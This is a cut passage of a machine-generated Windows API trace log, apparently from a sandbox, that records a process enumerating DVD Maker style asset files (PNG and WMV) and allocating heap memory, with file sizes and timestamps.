ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0067.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d308 [0067.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0dc80 [0067.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.005] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0067.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d328 [0067.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0dd88 [0067.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.005] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0067.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d348 [0067.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0de90 [0067.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.006] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0067.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d368 [0067.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0df98 [0067.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.006] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0067.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d388 [0067.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0e0a0 [0067.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0067.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d3a8 [0067.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0e1a8 [0067.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0067.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d3c8 [0067.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0e2b0 [0067.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0067.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d3e8 [0067.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0e3b8 [0067.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0067.008] GetLastError () returned 0x12 [0067.008] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0067.008] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0067.008] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 